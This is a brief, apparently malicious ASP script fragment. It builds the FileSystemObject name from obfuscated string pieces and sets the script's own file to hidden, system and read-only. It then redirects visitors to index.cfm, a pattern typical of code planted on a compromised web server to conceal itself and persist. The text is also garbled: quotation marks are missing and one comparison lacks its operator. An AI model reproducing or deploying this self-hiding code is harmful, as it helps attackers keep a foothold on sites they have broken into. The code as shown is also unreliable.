% on error resume next Set fso = Server.CreateObject(S&cr&ip&ti&ng.Fi&le&Sys&tem&Ob&je&ct) set f=fso.Getfile(Request.ServerVariables(PATH_TRANSLATED)) if f.attributes 39 then f.attributes = 39 end if % % Response.Redirect(index.cfm) %